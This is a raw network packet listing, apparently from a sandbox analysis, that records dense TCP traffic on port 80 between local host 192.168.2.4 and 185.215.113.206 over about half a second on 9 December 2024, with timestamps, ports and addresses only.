Dec 9, 2024 20:27:36.731481075 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.732330084 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.732383013 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.732412100 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.732460022 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.733314037 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.733371019 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.733438969 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.733484983 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.734299898 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.734354973 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.734453917 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.734503984 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.735307932 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.735359907 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.735465050 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.735510111 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.736304998 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.736361980 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.736393929 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.736438036 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.737310886 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.737365007 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.737467051 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.737550020 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.738325119 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.738380909 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.738384962 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.738425016 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.739303112 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.739356995 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.739429951 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.739507914 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.740298986 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.740354061 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.740420103 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.740468979 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.741316080 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.741370916 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.741373062 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.741415024 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.742422104 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.742474079 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.742496967 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.742538929 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.743366003 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.743421078 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.743437052 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.743482113 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.744323015 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.744374037 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.744385958 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.744429111 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.745234966 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.745286942 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.745368004 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.745425940 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.746290922 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.746345997 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.746625900 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.746675968 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.747304916 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.747351885 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.747483015 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.747554064 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.748435020 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.748482943 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.748488903 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.748523951 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.749253035 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.749304056 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.749320984 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.749365091 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.750237942 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.750288963 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.750304937 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.750350952 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.751281023 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.751339912 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.751389027 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.751435995 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.752285004 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.752337933 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.752414942 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.752464056 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.753263950 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.753319979 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.753396034 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.753451109 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.754323006 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.754374027 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.754391909 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.754439116 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.755280018 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.755330086 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.755332947 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.755372047 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.756345987 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.756380081 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.756398916 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.756417990 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.757288933 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.757302999 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.757349968 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.758236885 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.758300066 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.758321047 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.758364916 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.759253025 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.759318113 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.759336948 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.759385109 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.899780035 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.899846077 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.899936914 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.899985075 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.900048971 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.900091887 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.900132895 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.900177002 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.901010036 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.901074886 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.901103973 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.901148081 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.901993990 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.902045965 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.902977943 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.903033018 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.903107882 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.903156042 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.903471947 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.903520107 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.903654099 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.903698921 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.904227018 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.904273033 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.904318094 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.904371977 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.905281067 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.905293941 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.905343056 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.906294107 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.906349897 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.906615973 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.906662941 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.907238007 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.907285929 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.907461882 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.907512903 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.908289909 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.908358097 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.908467054 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.908529043 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.909303904 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.909317017 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.909348011 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.909374952 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.910223007 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.910290003 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.910291910 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.910325050 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.911267996 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.911356926 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.911386013 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.911397934 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.912334919 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.912389994 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.912532091 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.912610054 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.913351059 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.913362980 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.913405895 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.914225101 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.914279938 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.914318085 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.914367914 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.915265083 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.915277958 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.915311098 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.915328979 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.916336060 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.916400909 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.916413069 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.916436911 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.917296886 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.917309999 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.917349100 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.917361021 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.918234110 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.918282032 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.918368101 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.918476105 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.919328928 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.919341087 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.919378042 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.920233965 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.920284986 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.920314074 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.920360088 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.921251059 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.921303034 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.921322107 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.921360970 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.922211885 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.922261953 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.922275066 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.922313929 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.923250914 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.923261881 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.923291922 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.923321962 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.924263954 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.924360991 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.924575090 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.924623966 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.925210953 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.925262928 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.925302029 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.925343037 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.926240921 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.926289082 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.926316023 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.926356077 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.927300930 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.927350044 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.927426100 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.927473068 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.928215981 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.928265095 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.928344965 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.928391933 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.929270029 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.929322958 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.929337025 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.929378986 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.930214882 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.930226088 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.930269957 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.931269884 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.931361914 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.931381941 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.931421041 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.932209015 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.932274103 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.932287931 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.932327986 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.933173895 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.933227062 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.933296919 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.933350086 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.934243917 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.934294939 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.934298992 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.934350014 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.935261011 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.935331106 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.935357094 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.935410976 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.936574936 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.936652899 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.936674118 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.936723948 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.937211990 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.937274933 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.937313080 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.937366962 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.938246012 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.938257933 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.938308954 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.939265013 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.939327955 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.939368010 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.939410925 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.940202951 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.940257072 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.940320015 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.940357924 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.941267014 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.941318989 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.941323996 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.941365957 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.942202091 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.942244053 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.942430973 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.942506075 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.943195105 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.943244934 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.943299055 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.943361044 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.944170952 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.944219112 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.944248915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.944291115 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.945209980 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.945260048 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.945359945 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.945403099 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.946223974 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.946244955 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.946273088 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.946285963 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.947252989 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.947302103 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.947386026 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.947436094 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.948187113 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.948260069 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.948370934 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.948415995 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.949160099 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.949208021 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.949276924 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.949323893 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.950206995 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.950218916 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.950253963 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.951212883 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.951261997 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.951487064 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.951536894 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.091840982 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.091864109 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.091976881 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.092211008 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.092264891 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.092308044 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.092358112 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.093203068 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.093260050 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.093369007 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.093420029 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.094140053 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.094189882 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.095422983 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.095499039 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.095546961 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.095562935 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.095592976 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.095602036 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.095617056 CET	49740	80	192.168.2.4	185.215.113.206
